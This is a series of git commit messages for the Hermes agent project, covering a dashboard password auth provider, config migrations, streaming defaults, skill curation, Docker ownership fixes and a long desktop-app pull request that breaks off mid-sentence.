feat(dashboard-auth): add BasicAuthProvider username/password plugin
A bundled, zero-infrastructure 'just put a password on my dashboard'
provider that uses the supports_password extension point. No external IDP,
no database: sessions are stateless HMAC-signed tokens the provider mints
and verifies itself, and passwords are hashed with stdlib scrypt (no
third-party dependency — deliberately avoids bcrypt to keep the dep
surface unchanged).
- plugins/dashboard_auth/basic: BasicAuthProvider (scrypt verify with a
constant-time dummy-hash path for unknown users so the endpoint is not
a username-timing oracle; access/refresh tokens carry a 'kind' claim
that verify/refresh enforce; cross-secret tokens are rejected). The
register() entry point mirrors the Nous plugin's config/env precedence
(env wins; empty treated as unset) and LAST_SKIP_REASON channel.
- config.py: document the canonical dashboard.basic_auth.* surface
(username / password_hash / password / secret / session_ttl_seconds).
Activates only when username + (password or password_hash) are set, so
OAuth users and loopback/--insecure operators are unaffected. Without an
explicit secret a random per-process key is generated (logged): fine for a
single process, but sessions then don't survive restart or span workers.

feat(dashboard): add Debug Share to the System page (#38600)
* Port from google-gemini/gemini-cli#21541: back up corrupted config.yaml When config.yaml fails to parse, load_config() silently falls back to DEFAULT_CONFIG and leaves the broken file on disk. If the user then re-runs the setup wizard or hermes config set (both rewrite config.yaml), their broken-but-recoverable overrides are lost for good. Adapts the policy-file recovery from gemini-cli#21541: on the first parse warning for a given broken file, snapshot it to config.yaml.corrupt.<ts>.bak (best-effort, symlink-guarded, size-deduped) and tell the user where it landed. Unlike Gemini's version we deliberately do NOT reset config.yaml to a clean state — hermes never silently mutates user config, and leaving it means a hand-fixed file is re-read on the next load. Tests: 3 new cases (backup created + content preserved + original untouched; same-size backup dedup; symlink not copied). E2E verified with isolated HERMES_HOME and a real tab-indented broken config. * feat(dashboard): add Debug Share to the System page Surface `hermes debug share` in the dashboard. The System > Operations section gets a dedicated card that uploads a redacted report + full logs and returns the paste URLs as real, copyable links instead of a log tail. - debug.py: factor a pure build_debug_share() returning structured {urls, failures, redacted, auto_delete_seconds}; run_debug_share now calls it (CLI output unchanged). - web_server.py: POST /api/ops/debug-share runs the share core in a worker thread and returns the structured payload synchronously (the URLs are the whole point — not a backgrounded action). - api.ts: runDebugShare() + DebugShareResponse. - SystemPage.tsx: share card with a redaction toggle (on by default), per-link + copy-all buttons, and the 6h auto-delete countdown. - tests: build_debug_share core + endpoint (redact toggle, failure 502, token gate). |

fix(docker): run config migrations during container boot (salvage #35508) (#36627)
Salvage of #35508 (@dchenk), rebased onto current main. Resolved the tests/tools/test_stage2_hook_puid_pgid.py conflict (kept both the envdir-creation regression test on main and the new config-migration tests). Docker image upgrades replace code under $INSTALL_DIR but preserve $HERMES_HOME on the mounted volume, so the persisted config.yaml never received the schema migrations that non-Docker `hermes update` runs (#35406). This adds scripts/docker_config_migrate.py, invoked from stage2-hook after first-boot seeding and before gateway services start: it backs up config.yaml + .env, runs migrate_config(interactive=False), and honors HERMES_SKIP_CONFIG_MIGRATION=1 for manual control. Also fixes a latent bug in check_config_version(): it called load_config() which deep-merges DEFAULT_CONFIG, so a legacy config with no raw _config_version falsely reported as already-current. It now reads the raw on-disk file so legacy configs are correctly detected for migration. Differs from #35508 as submitted (Option B cleanup): dropped the `_config_version` line added to cli-config.yaml.example and removed the accompanying test_cli_config_example_declares_latest_version change-detector test. The example is a copy-template and has no business asserting a schema version; check_config_version() reads the user's real config.yaml, not the example. This removes a second sync point that drifts on every version bump. Closes #35508. Fixes #35406. Co-authored-by: Dmitriy Cherchenko <17372886+dchenk@users.noreply.github.com> |

fix(doctor): detect + repair stale HERMES_MAX_ITERATIONS .env ghost shadowing config.yaml (#38222)
* fix(doctor): detect + repair stale HERMES_MAX_ITERATIONS .env ghost shadowing config.yaml hermes doctor now flags when ~/.hermes/.env carries a HERMES_MAX_ITERATIONS value that disagrees with agent.max_turns in config.yaml, and 'hermes doctor --fix' removes the stale .env line so config.yaml is authoritative. 'hermes config show' surfaces the same drift inline under Max turns. The setup wizard stopped dual-writing this value, but users who edited only config.yaml from a pre-fix install keep a .env ghost. The gateway bridge normally overrides it at startup, but if the bridge bails on any earlier config-parse error the ghost silently wins — config says 400 while the gateway activity line reads N/90. The detector reads the .env FILE directly (load_env), not get_env_value/ os.environ, since the startup bridge may already have overwritten os.environ with the config value. Closes #17534. * fix(config): stop offering HERMES_MAX_ITERATIONS as an editable env var Removes HERMES_MAX_ITERATIONS from OPTIONAL_ENV_VARS so the dashboard env editor (PUT /api/env) and any env-var prompt no longer let a user write it to .env — which would recreate the stale ghost that shadows config.yaml's agent.max_turns (issue #17534). The iteration budget is configured only via config.yaml; the env var stays a read-only backward-compat fallback in the gateway/CLI, never a promoted write target. Regression test asserts it is absent from OPTIONAL_ENV_VARS. |

feat(cli): configurable default interface (cli vs tui)
Add `display.interface` config key so users can make the modern TUI the
default for bare `hermes` / `hermes chat` without exporting HERMES_TUI=1 in
every shell. Default stays "cli" to preserve current behavior.
Add a `--cli` flag (mirrors `--tui`) so an explicit invocation can force the
classic prompt_toolkit REPL even when `display.interface: tui` is configured.
Precedence (highest first): `--cli` > `--tui`/`HERMES_TUI=1` > config
`display.interface` > classic REPL. Two resolvers enforce it:
* `_resolve_use_tui(args)` — the args-aware resolver used by `cmd_chat`
and the Termux fast-TUI path (uses full load_config()).
* `_wants_tui_early(argv)` — a dependency-free early resolver used by
mouse-residue suppression and the Termux fast paths, which run before
argparse / hermes_cli.config are importable (minimal cached YAML read).
Both `--cli` and `--tui` are registered via `_inherited_flag`, so they are
carried across self-relaunch automatically.
- config: add display.interface ("cli" default), bump _config_version 25->26.
The generic missing-field migration + load_config() deep-merge seed the key
for existing configs; no bespoke migration block needed.
- docs: document --cli flag and display.interface in cli-commands.md and
the TUI user guide.
- tests: new test_default_interface_resolution.py covering resolver
precedence at every layer, early resolver edge cases (missing/garbage
config), parser flags, and relaunch inheritance.

feat(streaming): per-platform streaming defaults (Telegram on, Discord off) + dashboard toggles (#37303)
Streaming quality differs sharply by platform: Telegram has native animated
draft streaming (sendMessageDraft) which is smooth, while Discord/Slack only
have edit-based streaming (repeated editMessage) which visibly flickers. Ship
defaults that match reality instead of one global flag.
- hermes_cli/config.py: DEFAULT_CONFIG display.platforms now ships
telegram.streaming=true and discord.streaming=false (was empty {}). These
are gap-fillers — config deep-merge has user values win, so anyone who
explicitly sets discord.streaming=true keeps it. The global
streaming.enabled master switch still gates everything; these per-platform
flags only take effect once streaming is on.
- Dashboard exposure comes for free: the web settings schema is generated
from DEFAULT_CONFIG, so display.platforms.telegram.streaming and
.discord.streaming now surface as editable boolean toggles in the UI with
no frontend change. (Previously the per-platform tree was {} and invisible.)
- tests: pin the defaults, the resolver outcome (telegram on / discord off /
unlisted platforms follow global), user-override-wins, and dashboard schema
exposure.
No _config_version bump: deep-merge fills the gap for existing installs; no
value migration needed.

feat(config): surface gateway streaming block in DEFAULT_CONFIG (#37285)
The gateway reads top-level streaming.* with StreamingConfig defaults when the block is absent, so streaming was invisible — a user with no streaming block sees responses arrive as single messages and has no way to discover the toggle short of reading source. This materializes the block in config.yaml so it's discoverable, with values byte-identical to the dataclass defaults (no behavior change). - DEFAULT_CONFIG gains a root-level streaming block (enabled, transport, edit_interval, buffer_threshold, cursor, fresh_final_after_seconds), each documented inline. Values match gateway/config.py StreamingConfig() exactly. - _KNOWN_ROOT_KEYS gains 'streaming' so the validator accepts the root key. - No _config_version bump: load_config deep-merges DEFAULT_CONFIG over user YAML, so existing installs pick up the default automatically; no value migration needed. Does NOT touch the setup wizard — streaming stays opt-in, just discoverable. |

feat(curator): prune built-in skills after inactivity + track usage for all skills (#36701)
Two related changes to the skill curator: 1. Built-in pruning. New curator.prune_builtins config (default on) lets the curator archive bundled built-in skills after the inactivity period, not just agent-created ones. A .curator_suppressed list tells the update-time re-seeder (tools/skills_sync) to leave pruned built-ins archived, so the prune is durable across `hermes update`. Built-ins are seeded with a baseline record on first sight, so the inactivity clock starts at upgrade time -- no mass-prune on the first run. Hub-installed skills are never pruned regardless of the flag. Restoring a built-in clears its suppression. 2. Usage tracking for all skills. Telemetry (view/use/patch) was wrongly gated behind curation-eligibility, so built-ins were tracked only when prunable and hub skills never. Telemetry is observability and is now decoupled from curation: every skill accrues usage counts regardless of provenance, while lifecycle mutators (set_state/set_pinned/mark_agent_created) stay curation-gated. New usage_report() + provenance() expose all skills with an agent/bundled/hub tag. |

fix(config): chown ensure_hermes_home dirs to HERMES_UID/GID in Docker (#34107) (#34268)
Fixes #34107. When Hermes runs in Docker with HERMES_UID=1000 / HERMES_GID=911, the entrypoint chowns the top-level HERMES_HOME once at startup — but subdirectories created at runtime by ensure_hermes_home() (especially for profile namespaces under profiles/<name>/ spawned by kanban workers) were landing as root:root and blocking subsequent uid-mapped worker invocations with: PermissionError: [Errno 13] Permission denied: '/opt/data/profiles/charles/logs/curator' Fix: add _resolve_hermes_uid_gid + _chown_to_hermes_uid helpers that read the env vars and apply chown after mkdir. Invoke from _secure_dir which already runs after every directory creation in the home-init path, so all newly-created subdirs (including the profile namespaces) get the right ownership. Safety properties: - No-op when HERMES_UID/HERMES_GID unset (the dominant non-Docker path) - No-op on Windows (os.chown doesn't exist; AttributeError swallowed) - No-op when running as non-root (EPERM swallowed — the entrypoint's startup chown -R picks it up on next restart, and in most cases the dir was already correctly-owned by the calling user) - Uses -1 sentinel for missing field so only the set value applies - Empty-string env vars treated as unset Adds 14 tests across: - TestResolveHermesUidGid (7) — env-var parsing - TestChownToHermesUid (5) — chown helper invariants - TestSecureDirChown (2) — end-to-end through _secure_dir Co-authored-by: Cursor <cursoragent@cursor.com> |

Add Hermes desktop app (#20059)
* feat: better composer etc * docs: add desktop and dashboard run instructions * fix(desktop): address security scan findings * fix(dashboard): resolve @nous-research/ui path under npm workspaces The sync-assets prebuild step shelled out to 'cp -r node_modules/@nous-research/ui/dist/fonts ...' with a path relative to apps/dashboard/. That works only when the dep is installed locally in the dashboard workspace, but 'npm install' at the repo root (the documented setup — see apps/desktop/README.md) hoists shared deps to the root node_modules under npm workspaces. The relative cp then fails with 'No such file or directory', sync-assets exits 1, the Vite build aborts, and 'hermes dashboard' surfaces a generic 'Web UI build failed' message. Replace the shell one-liner with scripts/sync-assets.cjs, which walks up from the dashboard directory looking for node_modules/ @nous-research/ui — working in both the hoisted (workspaces) and co-located (standalone) layouts. Also guards against a missing dist/fonts or dist/assets with a clearer error pointing at a rebuild of the UI package rather than silently copying nothing. * feat(desktop): support connecting to a remote Hermes backend Add HERMES_DESKTOP_REMOTE_URL and HERMES_DESKTOP_REMOTE_TOKEN env vars that, when set, short-circuit the local-child spawn in startHermes() and connect the Electron renderer to an already- running 'hermes dashboard' server reachable over the network. Motivating use case: WSL2 users who want to run the Hermes core (agent loop, tools, filesystem access) inside their WSL distribution while rendering the Electron GUI on native Windows. Before this change, the desktop app always spawned a local Python child on the same host as the renderer, which doesn't cross the WSL/Windows boundary. The remote path reuses waitForHermes() as a liveness probe (/api/status is in the backend's public endpoint allowlist), so the connection is only returned once the backend is actually ready. WebSocket URL derivation picks ws:// or wss:// based on the input scheme. URL validation rejects non-http(s) schemes and requires both env vars together to avoid a half-configured connection that would silently fall through to the spawn path. No behaviour change when the env vars are unset — the default local-spawn flow is untouched. Typical usage: # in WSL2 hermes dashboard --tui --no-open --host 0.0.0.0 --port 9119 --insecure # on Windows set HERMES_DESKTOP_REMOTE_URL=http://localhost:9119 set HERMES_DESKTOP_REMOTE_TOKEN=<session token> set HERMES_DESKTOP_IGNORE_EXISTING=1 (launch Hermes desktop) * ci(desktop): automate desktop releases Add GitHub Actions release channels for signed desktop installers and document the stable/nightly download paths. * feat: file tabs * refactor(desktop): tighten right-rail tab close API Promote closeRightRailTab/closeActiveRightRailTab as the single public entry point. Drops the activeTabRef + handleCloseDocument indirection in ChatPreviewRail, the unused $rightRailHasContent atom, and the legacy dismissFilePreviewTarget alias. -70 LOC. * feat(desktop): polish composer pill toward reference look Solid foreground-on-background send/voice-conversation circle (black-on-white in light, white-on-black in dark) anchors the right edge as the primary CTA instead of the orange theme primary. Bumps the primary control to 2.125rem so it visually outranks the ghost mic/plus controls. Opens up the surface padding (0.625rem x / 0.5rem y) so the input row breathes around its controls, and nudges the corner radius from 20 to 24px for a slightly pill-ier silhouette. LiquidGlass distortion is preserved. * feat(desktop): add startup and onboarding flow Add phase-based desktop boot progress, fresh-install sandbox testing, and first-run provider credential onboarding so packaged installs can start cleanly without manual settings detours. * fix(desktop): gate prompts on provider setup Show the desktop provider onboarding flow before prompt submission when no inference provider is configured, preventing fresh installs from falling through to backend credential errors. * fix(desktop): surface provider onboarding from session warnings Propagate credential warnings through session runtime info and open desktop onboarding whenever a session reports no usable provider, so unconfigured installs cannot fall through to prompt errors. * fix(desktop): route gateway provider errors to onboarding The "No inference provider configured" auth error reaches the renderer through gateway error events, not the prompt.submit promise; the previous patch only caught the latter, so the error toast still surfaced and onboarding never opened. Also strip credential-shaped env vars from the test:desktop:fresh sandbox so the packaged backend can't see provider keys leaking from the launching shell. * fix(desktop): use strict runtime check to drive onboarding setup.status returned True whenever any provider auth state was discoverable, including indirect fallbacks like a gh-CLI Copilot token. That made desktop think the user was set up while the agent's actual resolve_runtime_provider call still raised AuthError, leaving the user with a useless toast and no onboarding. Add a setup.runtime_check gateway method that runs the same resolver the agent uses on session creation, and switch the desktop onboarding overlay and prompt precheck to use it. * feat(desktop): OAuth-first onboarding using existing dashboard provider API Replace the engineer-flavored API key form with a Sign-in-first onboarding overlay that uses the dashboard's existing /api/providers/oauth catalog and PKCE/device-code endpoints (Anthropic, Nous, OpenAI Codex, etc.). API key entry is now a fallback tab with friendly provider names instead of env var prefixes, and the loud raw resolver error is gone in favor of a one-line welcome message. * fix(desktop): polish onboarding provider list Reorder OAuth providers so Nous Portal is first, give the segmented Sign in / API key control equal column widths, and replace the engineer-flavored backend names like "Anthropic (Claude API)" / "MiniMax (OAuth)" with friendlier in-app titles. External-CLI providers now show a softer subtitle and an external-link icon instead of a chevron. * refactor(desktop): split onboarding overlay into store + view Move the OAuth state machine, runtime check, copy-to-clipboard, and api-key save into store/onboarding.ts (matching the boot.ts pattern), leaving the overlay as a presentation layer that subscribes via useStore. Tabs are now table-driven, child panels read flow from the store instead of prop-drilling, and the polling/PKCE/error/success branches share a small Status atom. * fix(desktop): external CLI providers + center mode tabs External-CLI providers (Claude Code, Qwen Code) now open an in-overlay panel with the CLI command, copy button, and an "I've signed in" recheck instead of firing an invisible toast. Center the Sign in / API key tab control so it sits under the heading instead of hugging the left edge. * fix(desktop): drop onboarding tabs for an inline link, group device-code waiting state Replace the Sign in / API key tab pair with an "I have an API key" footer link under the OAuth provider list, with a "Back to sign in" affordance inside the API key form. Group the device-code "Waiting for you to authorize..." status next to the Cancel button so the alignment matches the action. * refactor(desktop): tighten onboarding store + overlay Drop the dead isOnboardingBusy/BUSY set, factor the catch-fallback dance into safeReq, and share a single reloadAndConnect helper between PKCE submit, device-code success, external recheck, and api-key save. In the overlay, extract Step / CodeBlock / FlowFooter / CancelBtn / DocsLink atoms so the four sign-in panels share the same chrome instead of repeating it inline. Net effect: fewer literal divs, one place to touch the spacing, and the code-block + footer rows are reusable across future flows. * fix(desktop): mount onboarding from frame 1 to kill the FOUT Default onboarding.configured to null (unknown until the runtime check resolves) and have the onboarding overlay render whenever it's not yet confirmed true. The boot overlay now yields to it, so the very first paint is the Welcome card with a "While we get you set up..." progress strip instead of a flash of the chat shell between boot dismiss and onboarding mount. The picker swaps in cleanly once the gateway opens and the runtime check confirms the user is not configured. Already-configured users see the same prep card briefly while their existing runtime warms up, then the overlay dismisses without touching the chat shell. * fix(desktop): top-align empty sessions placeholder The "Start a chat to build your history." empty state used a min-h-35 grid place-items-center container, which floated the text in a tall dead zone. Render it as a flat paragraph that sits right under the section header like the empty pinned state does. * refactor(desktop): drop dead boot overlay Onboarding overlay subsumes the boot card now that it mounts from frame 1 and renders boot progress inline. The standalone DesktopBootOverlay is unreachable in every flow (yields whenever onboarding has not confirmed configured, dismisses once it has). * fix(desktop): hide pinned/recents sections until first session A fresh sidebar showed the Pinned and Recent chats headers with floating empty-state copy underneath. Drop both sections (and the now-orphan SidebarEmptySessionState) when there are no sessions yet — they reappear after the first chat. Skeletons during initial load are unchanged. * feat(gui): route embedded TUI through dashboard gateway (#21979) Inject HERMES_TUI_GATEWAY_URL into dashboard PTY sessions so embedded ui-tui instances attach to the in-process websocket gateway, with coverage for the new env wiring. * Add desktop remote gateway settings Make the desktop gateway connection configurable from settings so local remains the default while remote backends can be saved, tested, and applied without environment variables. * feat(gui): first-class Messaging page + gateway menu redesign - Add Messaging page to the desktop app with per-platform setup, status, and inline guidance. Catalog derives from gateway.config Platform enum + plugin registry, so every messaging adapter the CLI supports (Telegram, Discord, Slack, Mattermost, Matrix, WhatsApp, Signal, BlueBubbles, Home Assistant, Email, SMS, DingTalk, Feishu, WeCom, Weixin, QQ, Yuanbao, API server, Webhooks, plugins) shows up without per-platform code. - New REST endpoints: GET /api/messaging/platforms, PUT and POST /test on the same path. Secrets go through the existing .env pipeline; enable/disable writes config.yaml. - Replace gateway statusbar dropdown with a richer panel: status row, icon-only restart + system-panel actions, recent activity (with timestamps trimmed in display, full text on hover), platform list. - Auto-poll the messaging page every 6s (paused when hidden) so status updates without a manual check. - Drop Settings / Command Center from the sidebar nav (still reachable via shortcuts and the titlebar cog). - Flatten top corners on Messaging/Skills/Artifacts/Chat panes. - Share new StatusDot component across messaging + gateway menu. - Fix gateway/config.py so an explicit platforms.<name>.enabled=false in config.yaml is honored when env tokens are present. - pb-9 on the chat content area for breathing room above the composer. * Potential fix for pull request finding 'CodeQL / Clear-text logging of sensitive information' Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com> * pin electron version * hide application menu on non-mac systems * interpret compactPreview for non-string vlaues as JSON or an empty string * fix(desktop): keep composer contenteditable mounted across stacked toggle The composer rendered {input} inside two different parent fragments depending on `stacked`. When auto-expand flipped `stacked` (e.g. the moment typed text wrapped past two lines), React reconciled the two branches as different positions and unmounted/remounted the contenteditable. The fresh mount started empty, so any in-flight characters — most reliably reproduced by holding a key — were lost. Replace the conditional with a single CSS Grid whose template-areas swap on `stacked`. The three children (menu, input, controls) keep stable identities across the toggle; only their grid placement changes, which the browser handles without React tearing down the editor. * refactor(desktop): align install layout with install.ps1 / install.sh Make the desktop app's runtime layout match what scripts/install.ps1 and scripts/install.sh produce, so a desktop-only user and a CLI-only user end up with the same files in the same places and can share one install. Layout - ACTIVE_HERMES_ROOT = HERMES_HOME/hermes-agent (was: process.resourcesPath/hermes-agent, read-only) - VENV_ROOT = HERMES_HOME/hermes-agent/venv (was: userData/hermes-runtime) - desktop.log = HERMES_HOME/logs/desktop.log (was: userData/desktop.log) - HERMES_HOME default: %LOCALAPPDATA%\hermes on Windows, ~/.hermes elsewhere The packaged .app/.exe still ships a read-only payload at process.resourcesPath/hermes-agent (FACTORY_HERMES_ROOT). On first launch or after an installer-driven upgrade we sync factory -> active, then provision the venv and run pip install -e . against the active root. Key behaviors - Pin HERMES_HOME in the spawned Python's env so get_hermes_home() resolves to the same path resolveHermesHome() picked. Without this, Python falls back to ~/.hermes on every platform - fine on mac/linux, a split-state bug on Windows where our default is %LOCALAPPDATA%\hermes. - Detect developer installs by .git presence at ACTIVE; never overwrite a user's checkout via factory sync. - Marker at ACTIVE/.hermes-desktop-runtime.json (schema v4) tracks pyproject hash + factory version + runtime schema version. depsFresh fast-paths when nothing changed. - Dev (npm run dev) prefers SOURCE_REPO_ROOT over ACTIVE so devs run their local edits, not whatever's under HERMES_HOME. - Better error messages distinguish "no payload" from "no Python". - Preserve a legacy ~/.hermes on Windows when no %LOCALAPPDATA%\hermes exists, so users with prior pip/manual installs aren't orphaned. pyproject.toml - Promote fastapi, uvicorn[standard], ptyprocess (non-Windows), and pywinpty (Windows) to main dependencies. The dashboard backend (hermes dashboard) needs them at runtime; the previous lazy-import fallback was a footgun for fresh installs. - Empty the [pty] optional-extra; kept as a no-op back-compat alias for any existing pip install hermes-agent[pty] invocations. Drops the hardcoded BUNDLED_RUNTIME_REQUIREMENTS list in main.cjs - the desktop now installs whatever pyproject.toml says, single source of truth. Files - apps/desktop/electron/main.cjs: runtime layout, HERMES_HOME pin, factory->active sync, marker v4 - apps/desktop/scripts/test-desktop.mjs: track new venv location - apps/desktop/README.md: new Setup, Runtime Bootstrap, and Debugging sections - pyproject.toml: fastapi/uvicorn/pty backends in main dependencies; [pty] extra emptied Tested locally on Windows: npm run dev boots cleanly, sessions land at the new location, type-check + lint + test:desktop:platforms all pass. Verified end-to-end on a fresh Win11 VM via dist:win installer. Known gaps (filed as follow-ups, not in this PR): - Skills not seeded on packaged installs (sync_skills only runs in cmd_chat, not cmd_dashboard). Need to move to shared pre-dispatch. - Git Bash not bundled or detected; agent's terminal tool errors out with a useful message but desktop bootstrapper should pre-flight it. - install.ps1 / install.sh should be decomposed into composable phase libraries so the desktop bootstrapper can reuse them as a single source of truth across all install surfaces. * feat(desktop): theme polish, prose chat typography, composer chrome - DS tokens/midground, Backdrop, scoped scrollbars, typography plugin + prose - Composer liquid/radius utilities, thread font parity, tool/thinking cues - File tree label scale, preview flex, thread retry loading + streaming tests * feat(desktop): NSIS prereq detection page + auto-install via winget The packaged Windows installer now detects Python 3.11+ and Git for Windows at install time and offers to install missing prereqs via winget. Mirrors the prereq logic scripts/install.ps1 already runs for CLI installs, so desktop installer users get the same out-of-the-box experience as install.ps1 users. Why - Hermes' terminal tool calls bash.exe directly (tools/environments/ local.py); on Windows that's Git Bash from Git for Windows. Without it, the agent fails on the first terminal() call. - Hermes' Python runtime needs 3.11+. Without it, the desktop bootstrapper errors out at venv creation. - Both gaps surfaced on a fresh Windows 11 VM smoke test: VM had Python pre-installed but no Git, so the agent's first terminal call failed with "Git Bash isn't installed." - install.ps1 has had Install-Git + Install-Uv functions for ages. The desktop installer was the asymmetric outlier. How — NSIS prereq page - New file: apps/desktop/installer/prereq-check.nsh (plugged into electron-builder via build.nsis.include) - Real Wizard page using nsDialogs, inserted via customPageAfterChangeDir hook (between the Directory page and InstFiles). - Group boxes for Python and Git, each showing detection status. - Pre-checked install checkboxes when winget is available. - Auto-skips silently if both prereqs are already installed. - Falls back to manual download URLs when winget itself is missing. - Detection: - Python: probes `py -3.11`/`-3.12`/`-3.13`/`-3.14` via the Python launcher. Microsoft Store "Python stub" (no py.exe) is correctly classified as not-installed. - Git: `where git`. - winget: `where winget` (Win10 1809+ / Win11 with App Installer). - Install execution (in customInstall macro): - Python: nsExec::ExecToLog with `--scope user --silent`. Per-user install, no UAC prompt, output streams to install log. - Git: ExecShellWait via Windows ShellExecute. Critical because Git always installs per-machine and triggers UAC; ShellExecute preserves the foreground focus chain across non-elevated → elevated process spawns, so UAC actually comes to the foreground. nsExec::ExecToLog breaks the chain because winget runs hidden. - Both pass `--disable-interactivity --accept-package-agreements --accept-source-agreements` to suppress winget's own dialogs. - Verification: probes Git's standard install locations via FileExists rather than `where git`. NSIS's process inherits PATH at startup, so a freshly-installed Git won't be visible to `where` until restart. - Silent installs (/S) skip the prompts; managed deploys handle prereqs out-of-band via Group Policy / Intune. How — Electron-side safety net - New findGitBash() in main.cjs, parallel to findSystemPython(). Probes the same locations as tools/environments/local.py:_find_bash() so a positive result here means the agent's terminal tool will work. - ensureRuntime now throws a clear, actionable error on Windows when Git Bash isn't found, matching the existing "Python 3.11+ is required" error path. - Catches users the NSIS page doesn't: .msi installer users (NSIS prereq page doesn't run for MSI), `npm run dev` users, manual installers, anyone who unchecked the install boxes on the NSIS prereq page. - All gated on `IS_WINDOWS`; macOS / Linux unaffected. NSIS build issue (resolved) - electron-builder defaults to `-WX` (warnings as errors). NSIS optimizer emits "warning 6010: function not referenced" for our page functions because Page custom directives don't count as references in its static-analysis pass. The functions ARE called at runtime when NSIS invokes the page; the optimizer just can't see it statically. - Set `build.nsis.warningsAsErrors=false` in package.json so this spurious warning doesn't fail the build. (Documented option from electron-builder's nsisOptions.) Out of scope (filed for future work) - MSI prereq detection: Windows Installer custom actions are a different mechanism. Enterprise deploys typically handle prereqs via GP/Intune. - Bundle PortableGit + python-build-standalone in extraResources for zero-network installs. ~80MB increase. - Mac / Linux GUI prereq flows (different installer formats; Xcode CLT covers most macOS prereqs already; Linux is per-distro hard). Files - apps/desktop/installer/prereq-check.nsh (new, ~290 lines NSIS) - apps/desktop/package.json (build.nsis.include + warningsAsErrors) - apps/desktop/electron/main.cjs (findGitBash + preflight) - apps/desktop/README.md (Runtime prerequisites section) Cross-platform impact - macOS / Linux builds (dist:mac, dist:mac:dmg, dist:mac:zip): nsis config is ignored entirely; .nsh is dormant. - npm run dev: .nsh dormant; main.cjs preflight gated on IS_WINDOWS. - scripts/install.ps1, scripts/install.sh: no reference to any new files; CLI install paths untouched. - Hermes CLI / dashboard / gateway: no reference; runtime untouched. - All checks: node --check on main.cjs and test-desktop.mjs pass; npm run test:desktop:platforms 4/4 passing; node --test green. Tested - npm run dist:win produces signed .exe and .msi without errors. - Fresh Win11 VM (Python pre-installed, no Git): prereq page renders, Python check shows detected, Git checkbox pre-checked. Click Next → Git installs via winget with UAC prompt in foreground. - After install completes, Hermes launches and the agent's terminal tool can run bash commands. Verified Git Bash is detected at `C:\Program Files\Git\bin\bash.exe` by ensureRuntime's preflight. * feat: theme changes, composer tweaks, in app update ux, finesse * fix(cli): seed bundled skills on dashboard + gateway entrypoints `sync_skills(quiet=True)` was only being called from inside `cmd_chat`, which meant `hermes dashboard` (the desktop GUI's backend) and `hermes gateway` (Telegram/Discord/Slack/etc daemons) never seeded the bundled skill library into ~/.hermes/skills/. This surfaced as "No skills found" in the desktop GUI's skills panel on fresh installs, despite the agent having access to the full bundled library when invoked via `hermes chat`. scripts/install.ps1 worked around it by running skills_sync.py as part of Copy-ConfigTemplates, but that's not part of the desktop installer's bootstrap chain. Fix - Extract the skills-sync block from cmd_chat into a module-level `_sync_bundled_skills_quietly()` helper. - Call the helper from cmd_chat (preserving existing behavior), cmd_dashboard (after the --status/--stop early-return paths and fastapi import check, so we don't run skills_sync on management commands or when deps aren't installed), and cmd_gateway. Why these three entrypoints - cmd_chat: the user's primary CLI entrypoint - cmd_dashboard: the desktop GUI's backend; this is what `hermes dashboard --tui` invokes when the desktop bootstrapper spawns Hermes - cmd_gateway: long-running daemons where the user expects the agent to have full skill access Other entrypoints (cmd_config, cmd_doctor, cmd_login, cmd_status, etc.) are management commands that don't need skill discovery and were never running skills_sync in the first place — leaving them alone. Idempotence - tools/skills_sync.py is manifest-based: skipped skills cost milliseconds. Calling it from multiple entrypoints adds no real cost, and users running `hermes chat` then `hermes dashboard` get two fast no-ops on the second call. Failure handling - Helper wraps skills_sync in try/except. Skills are an enhancement, not a hard dependency — Hermes runs fine with an empty skills/ dir. Files - hermes_cli/main.py: + new helper `_sync_bundled_skills_quietly()` at module level + cmd_chat: replace inline block with helper call + cmd_dashboard: add helper call after fastapi import succeeds + cmd_gateway: add helper call before delegating to gateway_command * feat(desktop): hoisted todo widget, JSON tool summaries, history grouping & timer fixes - Hoist todo to first-class widget (shadcn checkboxes, brand colors, no tool-accordion). Header derives label from active task; non-active rows fade. - Replace raw JSON dumps with structured key/value summaries via formatToolResultSummary; nested error extraction for clearer failures. - Fix loaded-session grouping: stitch interleaved assistant/tool iterations into one bubble instead of orphaned synthetic messages. - Stable tool/thinking timers via keyed registry so unmount/scroll doesn't reset elapsed counts; gate "running" on real live thread state. - Reorganize chat-only assistant-ui components under components/chat/. * fix(desktop): address CodeQL alerts on PR #20059 - settings/helpers.ts: harden setNested against prototype pollution. POLLUTING_PATH_PARTS check is now applied at every assignment site (loop + leaf) and uses Object.defineProperty so CodeQL can see the guard inline rather than via a helper function call. - lib/markdown-preprocess.ts: rebuild the dangling-fence close regex from a fence-char + length instead of marker.replace(...). The marker is captured by `(`{3,}|~{3,})` so it can only be backticks or tildes, but CodeQL was tracing tainted input text into the RegExp source and flagging hostname dots from input as part of the pattern (false positive js/incomplete-hostname-regexp on the test fixture URLs). Reconstructing from a literal char breaks the dataflow. - scripts/notarize-artifact.cjs: drop args from the run() rejection message. Args carry --key-id / --issuer / key file path; the existing outer catch already squashes errors to a generic line, but CodeQL was flagging the args.join(' ') as clear-text logging of APPLE_API_KEY_ID. Composer DOM-text-as-HTML alerts (composer/index.tsx:379, :547) are already addressed in 4dd9732a9 — innerHTML assignment was replaced with renderComposerContents which builds DOM via replaceChildren / append text nodes (no HTML interpretation). * fix(desktop): inline prototype-pollution guard so CodeQL sees it CodeQL's dataflow doesn't follow the helper-function guard inside `safeSet`, so it kept flagging Object.defineProperty as prototype- polluting. Inline the literal `__proto__`/`constructor`/`prototype` check at the assignment site to break the dataflow. Behavior unchanged — same set of disallowed keys, same throw. * feat(ui-tui): resolve links to readable page titles Mirror desktop pretty-link behavior in the TUI by resolving HTTP links to page titles with shared caching and safe fetch filters, plus slug-based fallbacks so chat links stay readable even when title fetch fails. * fix(desktop): drop RegExp from dangling-fence close detection Previous attempt tried to break the dataflow by reconstructing the close-fence regex from a literal char + marker.length, but CodeQL still traced marker.length back to input and kept flagging the test-fixture URLs as hostname-regex sources (js/incomplete-hostname-regexp). Replace `new RegExp(...)` + `closeRe.test(body)` with a string-only hasCloseFenceLine() helper that splits on '\n' and uses ===. No regex on this path now, so input data can no longer reach a RegExp source. Behavior preserved: matches lines that are (whitespace + marker + whitespace), which is what the original `\n[ \t]*${marker}[ \t]*(?=\n|$)` matched. All 12 markdown-text tests still pass. * fix(process-registry): suppress windows-footgun false positive on guarded killpg Keep the existing POSIX-only process-group teardown path, but make the signal selection explicit via getattr and add an inline windows-footgun suppression marker on the guarded os.killpg line so the Windows footgun check no longer blocks CI on this intentionally platform-gated 